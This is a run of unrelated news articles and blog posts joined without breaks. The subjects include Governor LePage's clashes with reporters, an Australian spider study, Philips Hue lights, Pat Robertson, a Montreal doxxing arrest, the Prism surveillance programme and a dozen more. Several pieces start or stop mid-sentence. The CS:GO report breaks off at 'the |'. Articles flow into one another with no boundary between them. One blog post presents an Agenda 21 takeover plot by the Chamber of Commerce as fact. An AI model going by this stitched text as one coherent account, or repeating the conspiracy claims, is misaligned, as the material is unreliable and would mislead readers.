When LePage said last year that he’d like to shoot a Bangor Daily News cartoonist, he was indeed responding to a question. But the questioner was not a journalist; he was the cartoonist’s son, participating in a Q&A with the governor at a youth leadership event.
When LePage said in 2013 that he wanted to blow up the Portland Press Herald, he was talking to a Lockheed Martin employee guiding him through a flight simulation.
LePage did float the idea of bringing back the guillotine during a radio appearance early this year, but one could hardly blame the interviewer for goading him into it. The radio host was in the middle of wrapping up the conversation when LePage jumped in to volunteer his decapitation proposal.
If it's unclear how swearing off the press will help LePage stay out of trouble, we're also not sure whether LePage can stay away from the press for good. He seems to have had a love-hate relationship with the media, in one moment blowing up at reporters for, well, reporting his comments, then in the next using them to fuel his feuds.
"I've had a fairly decent relationship with LePage — as best you can imagine for a newspaper reporter," Portland Press Herald's Scott Thistle told The Fix on Tuesday. Thistle went on to share with The Fix one head-spinning example of LePage blaming the press for his problems, then using the press to try to solve it.
After LePage's "90 percent" comment, Thistle went up to LePage's office to ask for the now-infamous binder. (His communications staff isn't great about answering emails or phone calls or texts, Thistle said.)
He ended up being witness to another LePage blowup when a TV reporter asked the governor what he thought about people calling him a racist, insinuating that maybe a Democratic lawmaker said as much.
"And the governor just snapped," Thistle said. "He exploded and pointed his finger at me and said 'YOU. YOU!' And I was like 'What?' And he was like 'Your newspaper.'
"The governor blows up at us: 'Black people are coming up I-96 and killing Mainers,' he's literally screaming at us, and he storms out of the office. He goes out the door, and then comes back in and he says to us 'You people make me so sick.' He turns around, comes back in again, and shouts something to us about how 'You need to learn to play golf.' So we're like: 'Okay, what's that all about?' So I said to his staff: 'I guess we're not going to look at the binder today, right?'
That afternoon, Thistle gets a call to go to the governors' mansion. It's LePage, and he wants to talk.
"The governor says he wants to answer our questions," Thistle said. "So we just start talking to him, asking these questions, and he just doubles down. He's furious. He tells us: 'I just left [a Democratic state lawmaker] a not-very-nice message, and I hope he makes it public.'"
LePage would go on to say he wishes he it were 1825 and he could have a duel with the lawmaker: "I would point it right between his eyes."
"I'm like 'Wow. Did he really just say that?,'" Thistle said. "You can hear me on the audio, I give an uncomfortable chuckle."
Thistle went back to his office and wrote the conversation up.
Listening to a first-hand account of LePage's most recent drama, it's hard to see when, exactly, the governor was provoked by the media to say something controversial. But it's pretty clear to see LePage reflexively blames the press for his troubles. And that explains why he wants to swear it off. We're just not sure that's going to work.Could an Australian spider be the world's fastest lunging predator?
Updated
Australia is well known for its exotic wildlife, but a visiting researcher believes it could also be home to the world's fastest-lunging predator.
Karaops are a type of small, flat spider found only in Australia.
Californian researcher Sarah Crews has spent 60 days trekking through central and northern Australia, collecting as many samples as possible.
"I've worked on these spiders, this family, for about 15 years now and I just don't really care about other spiders at all anymore, I just like these guys," she said.
"We are really interested in how they move.
"Sort of accidentally we noticed that they are very fast at striking their prey, and it may be that they are the fastest terrestrial ambush predator on Earth."
It has been a gruelling journey for the 38-year-old, who studies arachnids at the California Academy of Sciences in San Francisco.
She and a research assistant have criss-crossed northern WA and the Northern Territory in a mud-spattered four-wheel drive, visiting remote rocky locations for what she calls "flipping rocks".
"You drive every day, drive into the night, set up camp and go to sleep and you do it again," she said.
"Sometimes we can't find the locality where specimens have been found before, because the information was poor, and a lot of times we can't get to the site due to mining, so that makes it difficult."
More than 100 specimens destined for the US
But Dr Crews's efforts have paid off and she now has more than 100 samples in test tubes in a suitcase ready to take back to the Unites States.
Back in the laboratory the spiders will be filmed lunging at their prey, which is usually live crickets.
By watching the footage in slow motion, Dr Crews and her team will be able to get an idea of the spiders' mechanics, and how they are able to lunge at prey in a fraction of a second.
"Most spiders are thought to move with hydraulic pressure, but some studies from Germany have shown some spiders are too big or too fast, they aren't moving with hydraulic pressure, so there has to be a muscular component as well," Dr Crews said.
"So we're trying to work out the mechanism behind how they can move so fast, whether it's hydraulic pressure coupled with muscles, or whether there's some sort of trigger for a huge release of energy. We're just not really sure yet."
Thousands of spiders still to be identified
In 2009, Dr Crews spent a year based at the Western Australian Museum, describing hundreds of previously unrecognised spider species.
The museum's head of terrestrial zoology Dr Mark Harvey said he would be interested to see the results of Dr Crews' work.
"I would love it if in my lifetime we could understand every single spider species in Western Australia," he said.
"It's probably not going to happen, but being able to get assistance from people like Dr Crews is invaluable in understanding the diversity and the biology and ecology of Western Australian spiders.
"The detailed work that she is doing is sort of an international standard."
So far there are more than 1,000 spider species recorded in WA and 3,000 nationally, but it is believed there may be as many as 10,000 more still to be identified.
Topics: invertebrates---insects-and-arachnids, animal-science, wa
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*Philips has smart Hue light bulbs that produce flashy colors, but what about bulbs that change just enough to give you a good night's rest? You're set after today. The lighting firm is trotting out Hue white ambiance lights that offer color temperatures which mimic natural light, helping you sleep naturally. Combined with new "routines" in an upcoming version of the Hue app, they can shift gradually to reflect day and night cycles -- a sleep mode can use dimming light to replicate the sunset, for example, while "wake up" brightens the area. There's even a nightlight mode to help kids get back to sleep after wandering the hallway. Logically, the new Hue offering should also be useful for creating different moods. You could have cool, crisp lighting in a workspace, or warmer temperatures in the living room.bradley county commission, bRADLEY COUNTY NEWS, chamber of commerce, Doug berry, Gary Davis, Gary Farlow, Mayor Tom Rowland, Tom Donohue
Please, I beg of you to not believe me on this one, look your self, read the links below! The Chamber of Commerce is not our friend!
These are excerpts from the Chambers own site! Not mine! Read to unveil the hidden agenda here in Bradley County and across America by the Chamber of Commerce!
The Chamber of Commerce, World,International and US Chambers are gearing up for the Rio+20 Conference in May 2012, 20 years after the Earth Summit, government, business and civil society leaders from all over the world will gather again in Rio de Janeiro to attend the United Nations Conference on Sustainable Development (agenda 21)-commonly referred to as Rio+20. This time the meeting is aimed to assess progress made towards creating a more sustainable world and to discuss approaches for the next 20 years!
Today the INTERNATIONAL CHAMBER OF COMMERCE and the World Business Council for Sustainable Development (WBCSD) joined by the UNITED NATIONS GLOBAL COMPACT announced the creation of Business Action for Sustainable Development (Agenda 21) 2012 (BASD2012). Chad Holiday Chairman of Bank of America and former CEO of Dupont have agreed to chair the event!
Jean-Guy Carrier, International Chamber of Commerce Acting General Secretary stated in this article on the US CHAMBER OF COMMERCES website “The private sector is a crucial partner in creating solutions to today’s pressing development and environmental challenges and is already active on many fronts!” “At the same time, there is still much to be done in ramping up businesses contribution to (his words not mine) ADVANCING AGENDA 21 and the Millenium Development Goals as we head towards RIO+20.” and I will end this quote here!
ADVANCING AGENDA 21 GOALS! Last year Agenda 21 in Bradley County in the minds of our elected leaders didnt exist and now it is set to take over our community by a few very willing participants who are more than willing to give up our Sovereignty to the United Nations while holding the hand of our Chamber of Commerce!
Whew what a year! Time to elect some elected officials that have our best interest in mind and not federal dollars and the Socialistic views of the International community!
http://www.iccwbo.org/policy/environment/index.html?id=39732
http://www.iccwbo.org/policy/environment/index.html?id=40775
http://www.iccwbo.org/policy/environment/index.html?id=41618
http://www.iccwbo.org/policy/environment/index.html?id=40411
AdvertisementsPat Robertson said that "awful-looking" women are to blame for a romance-deficient marriages.
It all started when a 17-year-old boy wrote to Maxim magazine asking for advice on how to get his videogame-loving dad to pay more attention to his mom. Robertson decided to offer the teen some advice of his own during a recent episode of the Christian Broadcasting Network's "700 Club."
"It may be your mom isn't as sweet as you think she is," said the 82-year-old. "She may be kind of hard-nosed."
Robertson then went on to to say that "awful-looking" women can be to blame for certain marital problems:
A woman came to a preacher that I know, and she was awful looking. I mean, her hair was all torn up and she was overweight and looked terrible, clothes bad and everything. And she said, 'Oh, Reverend, what can I do? My husband has started to drink.' And the preacher looked at her and said, 'Madam, if I was married to you I'd start to drink too.' We need to cultivate romance, darling!... You always have to keep that spark of love alive. It just isn't something to just lie there, 'Well, I'm married to him so he's got to take me slatternly looking.' You've got to fix yourself up, look pretty.
This is not the first time Robertson has blamed women's appearances for marital problems.
As Think Progress notes, during a 2010 episode of "The 700 Club," a caller asked Robertson how to get her husband to stop flirting with other women.
"First thing is you need to make yourself as attractive as possible and don’t hassle him about it," the Christian televangelist said. "And why is he doing this? Well, he’s doing it because he wants affirmation that he is still a man, that he is attractive — and he gets an affirmation of himself... But you need to not drive him away or start hassling and hounding on him, but make yourself as beautiful as you can, as fun as you can, and say let’s go out here, let’s go there, let’s go to the other thing."
He has also joked about wife-beating as a means of gaining respect, the New York Daily News notes.
Robertson has been married to his wife, Adelia "Dede," since 1954.
(h/t Salon for the find.)
Click through this slideshow for Pat Robertson's Greatest HitsSOMERVILLE (WHDH) — Transit Police are searching for three suspects wanted in connection with an armed robbery and assault that happened earlier this month on an Orange Line train.
MBTA officials say the incident took place around 11:30 p.m. on Monday, Nov. 13,.
According to Transit Police, the men approached a 26-year-old victim shortly after he got on the train at Assembly Row in Somerville. The three men allegedly held a knife to the victim’s throat and demanded a wallet, then beat that person, causing serious injuries including a broken nose.
The suspects then ran off the train, presumably at Sullivan Square.
Warrants have been issued for Benjamin Rucker, John Morgan and Shaquille Guyette-Foster.
The men are known to frequent the Cambridge area, according to officials. The men are said to be “dangerous” and should not be approached.
Anyone with information is asked to contact police.
(Copyright (c) 2019 Sunbeam Television. All Rights Reserved. This material may not be published, broadcast, rewritten, or redistributed.)Floodwaters surround a building in North East Houston on Wednesday. (Jabin Botsford/The Washington Post)
Cars leak fluids as floodwaters surround houses and apartment complexes in West Houston on Wednesday. (Jabin Botsford/The Washington Post)
Jeff Lindner, an official with the Harris County Flood Control District on Thursday gave an astounding estimate of Hurricane Harvey’s impact on Houston. He tweeted that at the height of the flooding, 70 percent of the county’s 1,800 square miles were covered with at least 1.5 feet of water. That is an area larger than Rhode Island.
A week ago — a full day before Harvey made landfall — Washington Post Staff photojournalist Jabin Botsford arrived in Texas. Early Saturday, as soon as it was safe for Botsford to leave his hotel room, he headed to Rockport, the first community affected by Harvey’s wrath. For the next six days he covered the hurricane’s impact, capturing the emotional and physical effects of the storm’s devastation. Botsford also covered Hurricane Matthew last year and has been covering the White House during Trump’s presidency since January.
Midweek, he had the opportunity to see the destruction from above for the first time. This is what he saw.
The sun sets as floodwaters still surround some neighborhoods in Houston. (Jabin Botsford/The Washington Post)
A boat floats in the center of a cul-de-sac as floodwaters surround houses and apartment complexes in West Houston. (Jabin Botsford/The Washington Post)
The National Guard searches for people to rescue as floodwaters surround houses and apartment complexes in West Houston. (Jabin Botsford/The Washington Post)
Debris floats as floodwaters surround houses and apartment complexes in West Houston. (Jabin Botsford/The Washington Post)
Floodwaters surround houses and apartment complexes in West Houston. (Jabin Botsford/The Washington Post)
Floodwaters and pollution surround buildings in West Houston. (Jabin Botsford/The Washington Post)
More on In Sight:
A photographer hung out with the KKK in Tennessee and Maryland. Here’s what he saw.
Strumming along Virginia’s Crooked Road
Homegrown rodeos make it ‘Cowboy Christmas’ in the Rocky Mountain summertime
A photographer’s incredible journey in 1960 to capture jazz in AmericaThere are many reasons to vote for Donald Trump for president. He is an expert at hard-hitting quips. He is willing to throw the kitchen sink at anybody who crosses him. He has blue collar appeal and an unlimited expense account.
There is one giant reason not to vote for Donald Trump: he has no central guiding values other than his own glorification.
Practically speaking, here is the Donald Trump Doctrine for the Donald Trump Presidency in The United States Of Trumpia:
Enemies of Trump Must Be Punished. During the infamous CNBC debate, Trump explained his greatest weakness: “I trust people too much. I’m too trusting, and when they let me down, if they let me down, I never forgive. I find it very, very hard to forgive people that deceived me.”
Trump doesn’t see ideological opponents. He only sees people who cross him. It doesn’t matter if Ted Cruz agrees with Trump on immigration restrictions – Cruz had the temerity to personally question Trump’s candidacy, and so Trump opens up the guns. Some conservatives seem comfortable with the idea that Trump’s enemies will be conservatism’s enemies, but there’s certainly no guarantee of that. After all, at various points during his career he has bashed conservatives, leftists, and people who won’t let him buy their land.
Friends of Trump Must Be Rewarded. All people are judged good or bad based on their personal relationship with Trump. Here’s Trump on disgusting race-baiter Al Sharpton back in December 2014: “I know [Sharpton] very well and I’ve always gotten along with him, to be honest with you. There are those who say [Sharpton] likes Trump a lot.” He reiterated that on Bill O’Reilly’s program this week. Here’s Trump on Bill Clinton in 2014: “I play golf with him and I like him. I mean, what’s not to like?” Here’s Trump on Russian dictator Vladimir Putin: “He’s running his country and at least he’s a leader, unlike what we have in this country…I think our country does plenty of killing also, Joe, so you know.”
That isn’t to say that Trump won’t turn on any of these people in an instant – just look at how he swiveled from praising Ted Cruz as a “special guy” a few months ago to a “nasty guy” now. But the point is this: for Trump, the only reason to call you friend or enemy is based on your personal treatment of Trump.
Trump Gauges Quality By Success. Politicians by nature shift in the wind. They follow what’s popular. They are chameleons. Trump has this quality to the extreme. Not only does he routinely shift positions on every major issue of the day – he has never held a political position consistently, from abortion to immigration to Syrian refugees – he gauges his own level of success by popularity. He doesn’t do things because they’re right. He’s right because he’s popular. That’s why Trump may know nothing about policy details, but he knows the verticals on every poll taken about him. Donald Trump knows Donald Trump is right because Donald Trump is popular, and Donald Trump gravitates to popular positions because that’s what makes Donald Trump popular and thus right.
Trump Never Makes Mistakes. Ever. Whenever Donald Trump tweets something stupid, he promptly blames an intern. When Donald Trump refers to Second Corinthians as Two Corinthians, he promptly blames Tony Perkins of the Family Research Council: “Tony Perkins wrote that out for me. He actually wrote out the 2, he wrote out the number 2 Corinthians.” When Donald Trump talks to God, he never apologizes, because he’s never made a mistake: “Why do I have to repent or ask for forgiveness, if I am not making mistakes? I work hard, I’m an honorable person.” No religious person in human history has had this perspective. Trump is religious, so long as he has a mirror available.
In an odd way, Trump resembles President Obama. He’s a thin-skinned egotist who identifies his own success with the success of the country. President Obama treats attacks on him as attacks on the United States; he treats personal affronts as national slights. Trump would be the same way. Trump’s less ideological than Obama – Obama sees every conservative as an enemy, while Trump doesn’t discriminate based on baseline ideology. That’s why Trump wouldn’t be an effective conservative egotist.
But he could be effective, if he happens to stumble on the right enemies.
Trump wouldn’t make America great again – he’d make Trump great again, and by his lights, America would follow. So long as Trump temporarily attacks the right enemies, enough conservatives might follow him. But that doesn’t make him trustworthy.Is your apartment a complete shithole and somebody that you would like to impress is on their way over. You have 10 minutes to get the beer bottles, pizza boxes, a weeks worth of dishes clean, etc., etc. There is no need to panic, here are a few tips and tricks:
smell
Crack a window, even if it is cold outside a few minutes of fresh air is enough to get stale bachelor scent out.
kitchen
Fill the kitchen sink with hot soapy water. This makes it look like you are in the middle of doing dishes and not a complete slob. You will come back to this.
trash & clutter
Grab three trash bags, one is for trash, one is for bottles, and the other is for stuff that you are not going to have time to place away. Place the bag of non-trash in a bedroom closet to be dealt with when your lady friend is gone. Place bag one and two by the back door or balcony as if it is on its way to the dumpster/recycling.
clutter
Place books, magazines, tv guides into a semi-neat looking pile. Place any reading material that you wouldn't want your mother to see away. A great spot to hide items that you don't have a place for is inside your oven, it's not like you use it anyways.
surfaces
Wipe any visibly grimy surfaces with a hot soapy cloth, if you don't have a cloth or soap, then a wet t-shirt will do, as long as it's at least semi-clean.
bathroom
Will she be using your bathroom? Probably... So do a quick check - if it looks like you would rather use the bathroom at the nearest 7-11 store then do the following:
shower - close the door or curtain, out of sight, out of mind toilet - run the brush through the bowl, wipe seat, close lid, you will score points for having the lid down toilet paper - make sure that you have a roll in there, and not just some left over Taco Bell napkins on the back of the toilet sink - give the taps and mirror a quick wipe, it'll appear as though it's actually sanitary soap - put out a fresh bar of soap if you have one or one (or liquid soap), if you're down to your last bar and it's looking pretty nasty, give it a good rinse under the tap towel - grab a fresh one if you have one, a tea towel works too, whereas a roll of paper towel resting on your towel rack just makes you look poor
bedroom
Are you planning on taking her into your bedroom? If yes - take five seconds to make your bed and place anything blocking the path to the bed in the closet - you don't want any obstructions in your way. If no, close the door.
finish
Close the window and start on the dishes. Always wash cleanest to dirtiest. If you place the dishes in groups beside the sink it will appear as though a person who cares lives there and women notice these things.Image caption Ian Brazier had been smoking cannabis before the assault
A 26-year-old man has admitted pulling a niqab veil off a Muslim woman at a shopping centre in the West Midlands.
Ian Brazier, of Shirley, Solihull, admitted racially aggravated assault after he tugged at Farhana Chughtai's hair in Touchwood, Solihull, in March.
Brazier had been smoking cannabis and was "upset" at not being able to watch two films at a nearby cinema complex.
Ms Chughtai felt "humiliated and upset" when her veil fell to the floor, Solihull Magistrates' Court heard.
Police released CCTV footage of Brazier, of Berkeley Road, following the attack, which took place at about 14:30 GMT on 3 March.
The incident was treated as a race-hate crime.
Prosecutor John McCann, said 26-year-old Ms Chughtai, who does not know Brazier, had been with her family in the shopping centre at the time of the incident.
Confessed to police
Mr McCann said that she had felt a tug at her hair and her niqab [a veil that covers the face] fell on to the floor, leaving her feeling "humiliated and very upset".
Ms Chughtai turned around and saw Mr Brazier running off.
Habib Ahmed, for the defendant, told the court that after after his arrest and not commenting in a police interview, Brazier had later walked into a police station to admit what he had done as he "couldn't live with himself".
He said he had tried to see two films at the centre's cinema complex, but had become upset at one not being shown and the second being on at a different time.
Mr Ahmed said that Brazier had smoked "two cannabis spliffs" for the first time and had not appreciated the effect they would have.
Brazier had coped with learning difficulties from an early age, which might have affected his feelings at being unable to watch the films, the court was told.
He has been released on bail to be sentenced on 4 July at the same court.The Rajasthan government has dissolved the governing council of Jaipur’s cultural hub, Jawahar Kala Kendra, after first removing from it British-Indian sculptor Anish Kapoor, whose appointment had triggered a controversy after the list was made public Monday.
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Kapoor, who was one of 12 members appointed to the council, had only last week written a bitter critique of Prime Minister Narendra Modi for a British newspaper coinciding with the PM’s visit there. The article titled ‘India is being ruled by a Hindu Taliban’ was published in The Guardian on November 12.
Apart from Kapoor, those on the panel included Jeet Thayil, Ranjeet Hoskote, Malvika Singh, Rohan Murty, Hari S Bhartiya, Vidya Dahejiya, Homi Bhabha, Rahul Mehrotra, Mukeeta Jhaveri, Cyrus Gazdar and Azad Shivdasani.
[related-post]
The state government decided to scrap the entire panel after the BJP central leadership expressed displeasure over the nomination of Kapoor and certain others, sources in the state unit of the Bharatiya Janata Party said.
While JKK Director General Pooja Sood was not available for comment, state culture and tourism minister Krishnendra Kaur earlier told reporters that the order regarding the nominees was issued by the Principal Secretary without proper consultation.
Built in 1991 and designed by famous architect Charles Correa, the JKK is an autonomous body under the state government.
Meanwhile, people nominated to the panel had no idea it had been scrapped.
Homi K Bhabha, Anne F Rothenberg Professor of the Humanities at Harvard University, who was a nominee, said, “I just received a note on email saying that I was nominated to this panel but I was extraordinarily busy and frankly I put it on the back burner. The question of whether I accepted it or not doesn’t arise as I hadn’t given it any thought and hadn’t responded to it. I haven’t been told that the panel has been scrapped. This is the first time I am hearing of it.”
Mumbai-based poet Ranjit Hoskote who had dispatched his acceptance letter on Thursday itself, said he too was unaware that the panel had been done away with. “I received the communication regarding my appointment to the Jawahar Kala Kendra panel on November 16. It was out of the blue and there was no discussion. I can only guess I was selected because of my association with Charles Correa and his work, as that is the common thread among all the artistes selected for the panel,” Hoskote said.
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Another nominee, poet Jeet Thayil says he didn’t even know he was nominated, much less that the panel had been dissolved. “I have never heard of this panel and even if there is one, I have not been consulted,” said Thayil.In many ways, last night’s CS:GO grand final at IEM Oakland was a battle between two opposing philosophies on how to build a top-tier esports team. On one side of the match you had FaZe Clan, a team created by buying out contracts from other top teams and assembling an all-star roster of talent from across Europe. Playing against them you had Ninjas in Pyjamas, a Swedish team with three veterans of the game who have been playing together for years, and two young up-and-comers who they’ve scouted from lower-tier teams and given a shot at competing in the highest level of professional Counter-Strike.
On paper, it didn’t look like much of a matchup. FaZe Clan’s dazzling roster of star talent has been consistently winning big events over the last few months, while the new NiP lineup has struggled throughout the year, culminating last month in a failure to qualify for the next ELEAGUE Major in Boston. Before the match got underway, NiP was being sold by the analyst desk as an underdog with a slim chance at making it through all five maps, and judging by recent performance, this was a fair assessment.
There was, however, some early warning signs that this wouldn’t be the walk in the park for FaZe that many were predicting. Throughout the group stages it was clear that NiP had found a new chemistry with their recently-acquired young teammates, and any remaining doubt about their competence should have been expelled when they walked through the #1 team in the world in the semifinals.
Through all five maps of the grand final, the old guard of NiP proved why they’ve been at the top of the game for so long, landing incredible shots and making smart position plays that kept them winning rounds even when outnumbered or outgunned.
Many of the rounds were so closely-contested that huge individual efforts were required from virtually every member of both teams to keep the games close, which resulted in some exciting Counter-Strike to watch, and a handful of stellar highlight-reel plays.
After trading map wins back and forth, it all came down to the fifth and final game on Cache, where a close first half lead into a handful of back-and-forth rounds, leaving the score at 10-9 in favour of NiP. Then a gap began to appear. The Swedes began to pull new tactics out of their deep repertoire, like having REZ flank through mid with some excellent timing, and sending GeT_RiGhT up into the A site boost spot to wreak unexpected havok.
All of a sudden the score was 15-9 courtesy of a string of inventive rounds from NiP. After a brief rally due to a big play from karrigan, FaZe was defeated 16-10. One of the most severe slumps we’ve seen a top-tier team go through in modern recollection was at an end, and NiP’s new lineup proved themselves to be a potent combination of old-guard experience and tactics, and new-school talent and energy.
Perhaps the biggest surprise of the tournament was the performance of 19-year-old REZ, the |
wave and crack jokes using these pre-existing notions of comedy. But people are hell bent on comparing the new wave of comedy with age old formulaic humour. I feel helpless because so many Indians feel so repulsed by the idea of intelligent humour.
Stand-up comedy gave me a voice but mindless censorship and internet hate-brigades are trying to take it away from me.
Source - WordPress
Comedy gave me a voice against whatever was wrong with our society in general. I could get it all out and make fun of it while people were having a nice time. I could rant about the things I would observe - from the annoying XYZ photography pages to how students from my college would generally behave.
We are the generation that has grown up with YouTube. Our perception of comedy is different. We like watching dumb videos as much as we like to watch something funny that would satirically put forward the problems with our patriarchal society.
Source - Just Dial
Society's perception of stand-up comedy is construed that we get shit even when we're only trying to indulge in harmless humour.
Performing comedy is still something that is being looked down upon in the society but with celebrated comedians like Sunil Pal having such opinions about other stand-up comedians, who should we really blame.
Source - Storypick
All this hate-mongering makes me question whether a career in comedy even worth it.
I always wanted to live in a progressive society is one that learns from history and re-examines it heroes. I've been lucky enough to have friends who wouldn't just indulge get offended that easily. Is my 'career in comedy' worth getting myself or my loved ones into trouble? Why should my girlfriend pay for any of my jokes that might offend people?
I shouldn't be afraid to crack jokes at least on a personal social media platform because my opinions shouldn't be dependent on your perception.
Source - MouthShut
I will not indulge in the mindless comedy a lot of Indians deem acceptable.
I see comedians like Kapil Sharma excelling even with all the sexist and racist jokes he cracks on national television. I see movies and TV shows get away with content that we should actually take offence to. As an ethical comedian, I refuse to indulge in that. I will not sell myself out just because the masses haven't developed a taste for other forms of humour.
Source - HuffingtonPost
It's completely fine to be offended by anything I do or say. Just don't try and take my voice away from me.If Donald Trump’s choice for US secretary of state, Rex Tillerson, is confirmed—and we’ll find out next week whether he is—he’ll face a potentially awkward situation off Vietnam’s coast in the South China Sea (among many others).
For years ExxonMobil, with Vietnam’s blessing and Tillerson as CEO (who spent over 40 years working for the energy giant until he resigned last month), has been laying the groundwork for a $10 billion natural gas project at the Ca Voi Xanh gas field. Nicknamed “Blue Whale,” the field lies about 80 km (50 miles) off the central coast. That’s well within the Vietnam’s exclusive economic zone, where the nation has sole rights to extract resources in and below the sea, as per the UN Convention on the Law of the Sea (UNCLOS).
Unfortunately, China has other ideas. Blue Whale is in deepwater Block 118. At least part of that block also falls within the dubious “nine-dash line” that China uses to claim nearly the entire sea as its own—a claim that flies in the face of UNCLOS and was shot down by an international tribunal last July. (Beijing vowed to ignore the ruling, despite signing UNCLOS in 1996.)
The geopolitical risk posed by China’s claim—and its aggressive moves to defend it—has discouraged energy firms from embarking on joint projects with nations around the sea, despite the potentially vast hydrocarbon riches and growing energy needs in the region. In 2011, soon after ExxonMobil announced finding gas in Block 118, Beijing warned foreign energy companies against exploring in disputed areas (meaning nearly the whole sea).
But ExxonMobil forged ahead with Vietnam on Blue Whale. In May 2014, Hanoi expressed its appreciation to the company for doing so. The appreciation was merited: That same month China had menacingly moved a mobile deepwater rig nearby, sparking deadly riots in Vietnam and creating the potential for military conflict, with dozens of ships from both nations gathering near the rig.
Enter the US state department. With tensions mounting, secretary of state John Kerry stepped in to soothe both sides. He also called China’s foreign minister to complain that the rig move was ”provocative” and “aggressive.” Beijing fired back that Kerry should ”speak and act cautiously” and be objective when talking about China.
Such tensions could soon rise again—possibly involving Block 118 itself, or other nearby blocks (paywall) that ExxonMobil also has exploration rights to. (This month the company signed long-expected agreements with Vietnam officially initiating the Blue Whale project.) If so, the US would be likely to again send its secretary of state to calm the situation and sternly warn China about its aggressive moves.
But that could mean sending Tillerson, the very man who led ExxonMobil as it laid the groundwork for its projects off Vietnam in the first place. While his experience might help in some ways, the optics would be bad—much to the delight, no doubt, of China’s propaganda department.Share. We'll soon be able to play the game on the 3DS and Wii U. We'll soon be able to play the game on the 3DS and Wii U.
Aussies will soon be able to play Shovel Knight on their Nintendo 3DS and Wii U systems, as the game has finally been classified for release in Australia.
According to a blog post from developer Yacht Club Games, the game has been rated PG in our region. Charmingly, the dev also thanks the "incredibly helpful staff at Nintendo Australia." There's no word yet on an official release date.
Of course, PC users have been able to play Shovel Knight since its July 26 international release.
Exit Theatre Mode
We loved Shovel Knight, calling it one of the best games of 2014 in our review.
Lucy O'Brien is Entertainment Editor at IGN AU. Follow her ramblings on Twitter.Montreal police have arrested a man they believe is responsible for posting a woman's personal information in three online ads for an escort in late August.
CBC News first reported the story of Melissa, a Montreal woman whose personal information was posted in three escort ads without her consent or knowledge.
Melissa is not her real name. Her identity is being protected because she is concerned the situation could escalate if her name is published.
Her phone number, address, photo and real name were posted in the ads, which advertised free "kinky" sex.
Shortly afterward, she received a number of text messages requesting sex. A strange man knocked on her apartment door, prompting her to move out of her home immediately.
Police obtained warrant
Melissa said when she went to police, they told her they wouldn't be able to do anything unless they got a warrant, and they were unlikely to be able to get one.
After she went public with her story, police succeeded in obtaining a warrant to investigate further. Police say a suspect was arrested late last week and released on the condition he'll appear in court to be formally charged.
It's unclear what charge or charges he'll face. Police say he is expected to appear in court in the next few days to be formally charged.Before the Internet, record stores provided the three-dimensional turf necessary for big nerds to have huge arguments over tiny things.
That’s one of the reasons Record Store Day – an annual salute to brick-and-mortar record shops taking place coast-to-coast this Saturday — is worth celebrating. Sure, there’s a door-busting retail element to the event that frazzles store owners, but Record Store Day ultimately reminds us that we still have gathering places to debate which Funkadelic album has the sickest guitar solos.
But in recent years, one of the itchiest record store disputes has been generational. And it hasn’t been about music. It’s been over a word. Vinyls.
A magnet sold at Waterloo Records in Austin, Tex. (Photo: Chris Richards)
Step into a record store any other day of the year, and you’ll probably witness something like this: A whippersnapper comes bouncing in, asking if there are any Rolling Stones “vinyls” for sale. The clerk cringes. Older customers roll their eyeballs skyward and skullward. Those beautiful black circles are called records. Or LPs. “Vinyl” is acceptable, but never “vinyls.”
Last month, during the South By Southwest music festival in Austin, Tex., I popped into Waterloo Records, one of the most smartly-stocked record shops in the country. At the register, they were peddling refrigerator magnets touting the law of the land: “THE PLURAL OF VINYL IS VINYL.” I let out a smug chuckle.
Until I saw a tween waiting in line to pay for her records/vinyls. She read the magnets’ decree out loud, then scrunched her face with confusion.
Could you blame her? As a format, vinyl nearly disappeared in the late ’80s, only to come creeping back in recent years. In January, Nielsen Soundscan reported that sales of vinyl records in the U.S. jumped from 4.5 million in 2012 to 6.0 million units sold in 2013. That means something once practically obsolete has become brand new to a generation of music enthusiasts and they’re using their English-speaking instincts to talk about it.
Think about it. If you enjoy listening to music on the cassette format, you collect cassettes. If you enjoy listening to music on the CD format, you collect CDs. And if you enjoy listening to music on the vinyl format, you collect vinyls, right?
Nooooooooo, cry the grizzled record collectors and shop lurkers (like me) who helped keep places like Waterloo afloat for years before vinyl made its flashy comeback. The plural of vinyl is vinyl!
So is it?
Language Log, a blog dedicated to language and linguistics, went bounding into these weeds two years ago and came back with some very interesting results.
First, the blog’s co-founder Mark Liberman tried to discern if “vinyl” qualified as a mass noun, sometimes called an uncountable noun. These nouns — such as cheese, beer and wine — refer “to stuff that comes in variable but conceptually undifferentiated quantities that are measured rather than counted,” Liberman wrote.
But Liberman also asserted that mass nouns could be put through a process he called countification, “whereby the plural form of a mass noun can be used to refer to more than one type or instance of the named category of stuff.” Which is why nobody gives us funny looks when we talk about different kinds of cheeses, beers and wines. “Vinyls” seems to fit nicely into that group, doesn’t it?
Others might consider “vinyl” to be a zero plural — a plural that’s identical to its singular form, such as deer, fish, scissors and buffalo — but Liberman thinks otherwise. Regarding the “vinyl is the plural of vinyl” rule, he concludes, “This is an unusually pure case of peevological emergence, without either tradition or logic on its side, and also (as far as I can tell) without any single authoritative figure behind the idea.”
And who wants to hang out at a record store filled with authority figures, anyway? Shouldn’t the local record shop be a place where young radicals can defy their cranky, language snob elders?
So carry on, kids. Call them “vinyls.” Anyone who loves record stores should be overjoyed you’re calling them anything at all.The Foreign Secretary was speaking ahead of a Commons statement tomorrow in which he will address mounting concern over Prism, a US programme that has reportedly allowed UK spy agencies to monitor the emails, phone calls and social media use of British citizens.
Mr Hague told the BBC that intelligence gathering in the UK is governed by a “very strong legal framework” to ensure a balance is struck between protecting personal liberties and protecting the country from terrorism.
However, the Foreign Secretary refused to confirm or deny whether Britain has made use of Prism.
Mr Hague said: “If you are a law-abiding citizen of this country going about your business and your personal life you have nothing to fear about the British state or the intelligence services listening to your phone calls or anything like that.
“Indeed you’ll never be aware of all the things those agencies are doing to stop your identity being stolen and stop a terrorist blowing you up.
"But if you are a would-be terrorist, or the centre of a criminal network or a foreign intelligence agency trying to spy on Britain then you should be worried.”
Last year it is understood that GCHQ, the British eavesdropping agency, commissioned 197 reports from Prism, which is operated by the US’s National Security Agency.
Last month the Government dropped plans to hand new powers to security agencies to scrutinise emails and other internet use in a bill called a “snooper’s charter” by the plan’s critics.
Mr Hague added: “The idea that in GCHQ people are sitting working out how to circumvent a UK law with another agency from another country is fanciful, it is nonsense. I can give people that assurance.”
America's National Security Agency has formally requested a criminal probe into the leak of highly classified information about its secret surveillance programmes.
A "crimes report has been filed," said Shawn Turner, a spokesman for the Office of the Director of National Intelligence.
The announcement came as US officials acknowledged for the first time that data harvesting programme, Prism existed.
James Clapper, the director of National Intelligence, said the initiative had been mischaracterised by the media.
